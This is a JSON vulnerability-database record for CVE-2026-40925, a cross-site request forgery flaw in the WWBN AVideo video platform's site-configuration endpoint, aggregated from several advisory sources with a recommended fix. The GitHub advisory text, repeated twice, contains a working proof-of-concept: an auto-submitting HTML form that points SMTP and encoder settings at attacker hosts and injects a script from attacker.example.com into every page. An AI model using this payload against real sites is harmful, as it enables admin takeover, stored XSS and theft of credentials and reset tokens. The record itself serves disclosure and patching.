{"id":"CVE-2026-40925","aliases":["EUVD-2026-24485","GHSA-vvfw-4m39-fjqf"],"status":"published","title":"WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.","severity":{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00173,"percentile":0.06809,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":false},"cwes":["CWE-352"],"published":"2026-04-14T23:12:30Z","modified":"2026-10-28T02:31:03Z","affected":[{"source":"ghsa","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"wwbn/avideo","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"29.0"}]}],"versions":["10.4","10.8","11","11.1","11.1.1","11.5","11.6","12.4","14.3","14.3.1","14.4","18.0","21.0","22.0","24.0","25.0","26.0","29.0"]}],"products":[{"vendor":"wwbn","product":"avideo"}],"references":[{"url":"https://github.com/WWBN/AVideo/security/advisories/GHSA-vvfw-4m39-fjqf","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/WWBN/AVideo/commit/f9492f5e6123dff0292d5bb3164fde7665dc36b4","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-40925","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vvfw-4m39-fjqf"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40925.json","tags":["advisory"]},{"url":"https://github.com/WWBN/AVideo","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-40925","title":"WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.","status":"published","published":"2026-04-21T19:58:29.854Z","modified":"2026-04-21T20:35:55.243Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T13:43:22.599321Z"}],"euvd":[{"id":"EUVD-2026-24485","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.","status":"published","published":"2026-04-21T19:58:29Z","modified":"2026-04-21T20:35:55Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","level":"high"}],"updated_at":"2026-11-02T19:24:21.512647Z"}],"ghsa":[{"id":"GHSA-vvfw-4m39-fjqf","title":"WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials","description":"## Summary\n\n`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request.\n\n## Details\n\nThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:\n\n```php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\n```\n\nImmediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:\n\n```php\n// objects/configurationUpdate.json.php\n$config = new AVideoConf();\n$config-\u003esetContactEmail($_POST['contactEmail']);          // :21\n$config-\u003esetLanguage($_POST['language']);                  // :22\n$config-\u003esetWebSiteTitle($_POST['webSiteTitle']);          // :23\n$config-\u003esetDescription($_POST['description']);           // :24\n$config-\u003esetAuthCanComment($_POST['authCanComment']);     // :25\n$config-\u003esetAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26\n// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):\n$config-\u003esetEncoderURL($_POST['encoder_url']);            // :32\n$config-\u003esetSmtp($_POST['smtp']);                         // :33\n$config-\u003esetSmtpAuth($_POST['smtpAuth']);                 // :34\n$config-\u003esetSmtpSecure($_POST['smtpSecure']);             // :35\n$config-\u003esetSmtpHost($_POST['smtpHost']);                 // :36\n$config-\u003esetSmtpUsername($_POST['smtpUsername']);         // :37\n$config-\u003esetSmtpPassword($_POST['smtpPassword']);         // :38\n$config-\u003esetSmtpPort($_POST['smtpPort']);                 // :39\n$config-\u003esetHead($_POST['head']);                         // :42\n// ...\n// Logo / favicon writes:\n$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68\nfile_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71\n// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)\necho '{\"status\":\"' . $config-\u003esave() . '\", ...}';         // :130\n```\n\n### Why CSRF actually lands\n\n1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set('session.cookie_samesite', 'None')` and the adjacent comment states the design: *\"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* This endpoint enforces no such token.\n\n2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call — grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.\n\n3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: 'post', data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS \"simple\" request — no preflight — so any third-party origin can trigger it from a `\u003cform\u003e` with the admin's session cookie attached.\n\n4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.\n\n### Impact primitives unlocked by a single CSRF request\n\n- **`setEncoderURL()`** — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.\n- **`setSmtpHost/Username/Password/Port/Secure/Auth`** — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.\n- **`setHead()`** — attacker-chosen raw HTML is injected into every page's `\u003chead\u003e`, giving persistent site-wide stored XSS (e.g. `\u003cscript src=\"https://attacker/evil.js\"\u003e\u003c/script\u003e`) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.\n- **`logoImgBase64` / `faviconBase64`** — attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.\n- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** — full site policy and branding control.\n\n## PoC\n\n1. Attacker hosts `evil.html` on any origin:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=\"x\" action=\"https://victim.example.com/objects/configurationUpdate.json.php\"\n      method=\"POST\" enctype=\"application/x-www-form-urlencoded\"\u003e\n  \u003cinput name=\"contactEmail\"        value=\"attacker@evil.com\"\u003e\n  \u003cinput name=\"language\"            value=\"en\"\u003e\n  \u003cinput name=\"webSiteTitle\"        value=\"Pwned\"\u003e\n  \u003cinput name=\"description\"         value=\"x\"\u003e\n  \u003cinput name=\"authCanComment\"      value=\"1\"\u003e\n  \u003cinput name=\"authCanUploadVideos\" value=\"1\"\u003e\n  \u003cinput name=\"authCanViewChart\"    value=\"1\"\u003e\n  \u003cinput name=\"disable_analytics\"   value=\"0\"\u003e\n  \u003cinput name=\"allow_download\"      value=\"1\"\u003e\n  \u003cinput name=\"session_timeout\"     value=\"3600\"\u003e\n  \u003cinput name=\"encoder_url\"         value=\"https://attacker.example.com/Encoder/\"\u003e\n  \u003cinput name=\"smtp\"                value=\"1\"\u003e\n  \u003cinput name=\"smtpAuth\"            value=\"1\"\u003e\n  \u003cinput name=\"smtpSecure\"          value=\"tls\"\u003e\n  \u003cinput name=\"smtpHost\"            value=\"smtp.attacker.com\"\u003e\n  \u003cinput name=\"smtpUsername\"        value=\"attacker\"\u003e\n  \u003cinput name=\"smtpPassword\"        value=\"password\"\u003e\n  \u003cinput name=\"smtpPort\"            value=\"587\"\u003e\n  \u003cinput name=\"head\"                value='\u003cscript src=\"https://attacker.example.com/evil.js\"\u003e\u003c/script\u003e'\u003e\n  \u003cinput name=\"adsense\"             value=\"x\"\u003e\n  \u003cinput name=\"autoplay\"            value=\"1\"\u003e\n  \u003cinput name=\"theme\"               value=\"default\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('x').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it's an `application/x-www-form-urlencoded` POST, no preflight is sent.\n\n3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config-\u003esave()` at `:130`. Response:\n   ```json\n   {\"status\":\"1\",\"respnseLogo\":[],\"respnseFavicon\":null}\n   ```\n   The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected `\u003cscript\u003e` in the rendered `\u003chead\u003e`, and by inspecting `videos/configuration.php` / the `configurations` table.\n\n4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.\n\n5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.\n\n## Impact\n\n- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.\n- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.\n- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.\n- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.\n- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.\n- No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.\n\n## Recommended Fix\n\nCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:\n\n```php\n// objects/configurationUpdate.json.php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nrequire_once $global['systemRootPath'] . 'objects/functionsSecurity.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nforbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check\n```\n\nPreferably also require a short-lived `globalToken` (`verifyToken($_REQUEST['globalToken'])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.","status":"published","published":"2026-04-14T23:12:30Z","modified":"2026-04-24T20:31:15Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:39:56.453138Z"}],"nvd":[{"id":"CVE-2026-40925","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.","status":"published","published":"2026-04-21T21:16:45.903Z","modified":"2026-10-26T00:10:00.15Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","level":"high","assessor":"secondary"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T14:12:15.493943Z"}],"osv":[{"id":"CVE-2026-40925","title":"WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials","description":"WWBN AVideo is an open source video platform. In versions 29.0 and prior, `objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request. Commit f9492f5e6123dff0292d5bb3164fde7665dc36b4 contains a fix.","status":"published","published":"2026-04-21T19:58:29.854Z","modified":"2026-10-28T02:31:03.283913097Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:45:03.424067Z"},{"id":"GHSA-vvfw-4m39-fjqf","title":"WWBN AVideo has CSRF in configurationUpdate.json.php Enables Full Site Configuration Takeover Including Encoder URL and SMTP Credentials","description":"## Summary\n\n`objects/configurationUpdate.json.php` (also routed via `/updateConfig`) persists dozens of global site settings from `$_POST` but protects the endpoint only with `User::isAdmin()`. It does not call `forbidIfIsUntrustedRequest()`, does not verify a `globalToken`, and does not validate the Origin/Referer header. Because AVideo intentionally sets `session.cookie_samesite=None` to support cross-origin iframe embedding, a logged-in administrator who visits an attacker-controlled page will have the browser auto-submit a cross-origin POST that rewrites the site's encoder URL, SMTP credentials, site `\u003chead\u003e` HTML, logo, favicon, contact email, and more in a single request.\n\n## Details\n\nThe entire authorization and CSRF check for the endpoint is this block at `objects/configurationUpdate.json.php:10`:\n\n```php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\n```\n\nImmediately after, `$_POST` values are written straight into the global `AVideoConf` object and persisted:\n\n```php\n// objects/configurationUpdate.json.php\n$config = new AVideoConf();\n$config-\u003esetContactEmail($_POST['contactEmail']);          // :21\n$config-\u003esetLanguage($_POST['language']);                  // :22\n$config-\u003esetWebSiteTitle($_POST['webSiteTitle']);          // :23\n$config-\u003esetDescription($_POST['description']);           // :24\n$config-\u003esetAuthCanComment($_POST['authCanComment']);     // :25\n$config-\u003esetAuthCanUploadVideos($_POST['authCanUploadVideos']); // :26\n// Advanced (default enabled — $global['disableAdvancedConfigurations'] is empty by default):\n$config-\u003esetEncoderURL($_POST['encoder_url']);            // :32\n$config-\u003esetSmtp($_POST['smtp']);                         // :33\n$config-\u003esetSmtpAuth($_POST['smtpAuth']);                 // :34\n$config-\u003esetSmtpSecure($_POST['smtpSecure']);             // :35\n$config-\u003esetSmtpHost($_POST['smtpHost']);                 // :36\n$config-\u003esetSmtpUsername($_POST['smtpUsername']);         // :37\n$config-\u003esetSmtpPassword($_POST['smtpPassword']);         // :38\n$config-\u003esetSmtpPort($_POST['smtpPort']);                 // :39\n$config-\u003esetHead($_POST['head']);                         // :42\n// ...\n// Logo / favicon writes:\n$fileData = base64DataToImage($_POST['logoImgBase64']);   // :68\nfile_put_contents($global['systemRootPath'] . $photoURL, $fileData); // :71\n// favicon base64 → file_put_contents → ImageMagick `convert` invocation (:88-120)\necho '{\"status\":\"' . $config-\u003esave() . '\", ...}';         // :130\n```\n\n### Why CSRF actually lands\n\n1. **SameSite is intentionally `None`.** `objects/include_config.php:144` sets `ini_set('session.cookie_samesite', 'None')` and the adjacent comment states the design: *\"SameSite=None is intentional: AVideo supports cross-origin iframe embedding… All state-mutating endpoints that are vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).\"* This endpoint enforces no such token.\n\n2. **Project already ships a CSRF primitive and uses it elsewhere.** `objects/functionsSecurity.php:138` defines `forbidIfIsUntrustedRequest()`, and the peer admin endpoint `objects/userUpdate.json.php:18` calls it explicitly. `configurationUpdate.json.php` has no such call — grepping the file confirms no `forbidIfIsUntrustedRequest`, `verifyToken`, `globalToken`, or Origin/Referer check.\n\n3. **The request is CORS-simple.** The admin UI submits with jQuery `$.ajax(...type: 'post', data: {...})` (see `view/configurations_body.php:753`), which sends `application/x-www-form-urlencoded`. That content type is a CORS \"simple\" request — no preflight — so any third-party origin can trigger it from a `\u003cform\u003e` with the admin's session cookie attached.\n\n4. **Reachable via two paths.** Direct `POST /objects/configurationUpdate.json.php` works, and `.htaccess:459` also exposes it at `POST /updateConfig`.\n\n### Impact primitives unlocked by a single CSRF request\n\n- **`setEncoderURL()`** — redirects future encoder operations (URL metadata fetching, chunked uploads, remote file ingestion in `aVideoEncoder.json.php` / `videoAddNew.json.php`) to the attacker's server. Attacker-controlled encoder responses are trusted downstream for titles, descriptions, download URLs, etc.\n- **`setSmtpHost/Username/Password/Port/Secure/Auth`** — the next outbound mail (password reset, signup confirmation, admin notifications) goes through the attacker's SMTP relay, harvesting reset tokens and user credentials.\n- **`setHead()`** — attacker-chosen raw HTML is injected into every page's `\u003chead\u003e`, giving persistent site-wide stored XSS (e.g. `\u003cscript src=\"https://attacker/evil.js\"\u003e\u003c/script\u003e`) that fires in every visitor's browser including the admin, enabling session theft of arbitrary users.\n- **`logoImgBase64` / `faviconBase64`** — attacker-controlled bytes are `file_put_contents`-ed into the web root under `videos/userPhoto/logo.png` and `videos/favicon.png`.\n- **`setContactEmail`, `setWebSiteTitle`, `setAuthCanUploadVideos`, `setAllow_download`, `setSession_timeout`, `setAdsense`, `setDisable_analytics`** — full site policy and branding control.\n\n## PoC\n\n1. Attacker hosts `evil.html` on any origin:\n\n```html\n\u003c!doctype html\u003e\n\u003chtml\u003e\u003cbody\u003e\n\u003cform id=\"x\" action=\"https://victim.example.com/objects/configurationUpdate.json.php\"\n      method=\"POST\" enctype=\"application/x-www-form-urlencoded\"\u003e\n  \u003cinput name=\"contactEmail\"        value=\"attacker@evil.com\"\u003e\n  \u003cinput name=\"language\"            value=\"en\"\u003e\n  \u003cinput name=\"webSiteTitle\"        value=\"Pwned\"\u003e\n  \u003cinput name=\"description\"         value=\"x\"\u003e\n  \u003cinput name=\"authCanComment\"      value=\"1\"\u003e\n  \u003cinput name=\"authCanUploadVideos\" value=\"1\"\u003e\n  \u003cinput name=\"authCanViewChart\"    value=\"1\"\u003e\n  \u003cinput name=\"disable_analytics\"   value=\"0\"\u003e\n  \u003cinput name=\"allow_download\"      value=\"1\"\u003e\n  \u003cinput name=\"session_timeout\"     value=\"3600\"\u003e\n  \u003cinput name=\"encoder_url\"         value=\"https://attacker.example.com/Encoder/\"\u003e\n  \u003cinput name=\"smtp\"                value=\"1\"\u003e\n  \u003cinput name=\"smtpAuth\"            value=\"1\"\u003e\n  \u003cinput name=\"smtpSecure\"          value=\"tls\"\u003e\n  \u003cinput name=\"smtpHost\"            value=\"smtp.attacker.com\"\u003e\n  \u003cinput name=\"smtpUsername\"        value=\"attacker\"\u003e\n  \u003cinput name=\"smtpPassword\"        value=\"password\"\u003e\n  \u003cinput name=\"smtpPort\"            value=\"587\"\u003e\n  \u003cinput name=\"head\"                value='\u003cscript src=\"https://attacker.example.com/evil.js\"\u003e\u003c/script\u003e'\u003e\n  \u003cinput name=\"adsense\"             value=\"x\"\u003e\n  \u003cinput name=\"autoplay\"            value=\"1\"\u003e\n  \u003cinput name=\"theme\"               value=\"default\"\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.getElementById('x').submit();\u003c/script\u003e\n\u003c/body\u003e\u003c/html\u003e\n```\n\n2. Any user authenticated as AVideo administrator (`User::isAdmin()` true) visits `https://attacker.example.com/evil.html`. Their browser submits the form cross-origin; because `session.cookie_samesite=None`, `PHPSESSID` is included; because it's an `application/x-www-form-urlencoded` POST, no preflight is sent.\n\n3. Server-side check at `configurationUpdate.json.php:10` passes (`User::isAdmin()` is true for the victim), and the body reaches `$config-\u003esave()` at `:130`. Response:\n   ```json\n   {\"status\":\"1\",\"respnseLogo\":[],\"respnseFavicon\":null}\n   ```\n   The site-wide configuration is now rewritten with attacker-chosen values — verifiable by visiting any page and seeing the injected `\u003cscript\u003e` in the rendered `\u003chead\u003e`, and by inspecting `videos/configuration.php` / the `configurations` table.\n\n4. Stored-XSS pivot: every subsequent visitor (including other admins) now executes `https://attacker.example.com/evil.js` from the victim site's origin, yielding session theft / full admin takeover on what were previously unrelated accounts.\n\n5. SMTP exfiltration pivot: trigger a password-reset flow on the victim site; the SMTP handshake now goes to `smtp.attacker.com:587` with `attacker:password`, and any future mail from AVideo is observable by the attacker.\n\n## Impact\n\n- **Full site configuration takeover** from a single cross-origin form submission against any logged-in administrator.\n- **Persistent stored XSS site-wide** via `setHead()`, affecting every visitor and enabling session hijack of other admins and users.\n- **Credential / reset-token exfiltration** via attacker-controlled SMTP relay.\n- **Encoder pipeline hijack**: attacker controls the upstream URL the server fetches metadata from, enabling downstream content and data poisoning.\n- **Arbitrary file write under web root** via `logoImgBase64` / `faviconBase64`.\n- No bypass of admin auth is needed — the attacker uses the victim admin's own authenticated session; only a single visit to an attacker-controlled link is required.\n\n## Recommended Fix\n\nCall the existing CSRF primitive immediately after the admin check, matching what `objects/userUpdate.json.php:18` already does:\n\n```php\n// objects/configurationUpdate.json.php\nrequire_once $global['systemRootPath'] . 'objects/user.php';\nrequire_once $global['systemRootPath'] . 'objects/functionsSecurity.php';\nif (!User::isAdmin()) {\n    die('{\"error\":\"' . __(\"Permission denied\") . '\"}');\n}\nforbidIfIsUntrustedRequest('configurationUpdate'); // same-origin / CSRF token check\n```\n\nPreferably also require a short-lived `globalToken` (`verifyToken($_REQUEST['globalToken'])`) as `include_config.php:140-143` prescribes, and update `view/configurations_body.php` to include that token in the AJAX payload. Audit all other `objects/*.json.php` state-mutating endpoints for the same omission — the pattern is structural and likely present on more endpoints.","status":"published","published":"2026-04-14T23:12:30Z","modified":"2026-05-05T16:26:32.277405Z","cvss":[{"version":"3.1","score":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:L","level":"high"}],"cwes":["CWE-352"],"updated_at":"2026-11-02T15:46:57.694388Z"}]}}
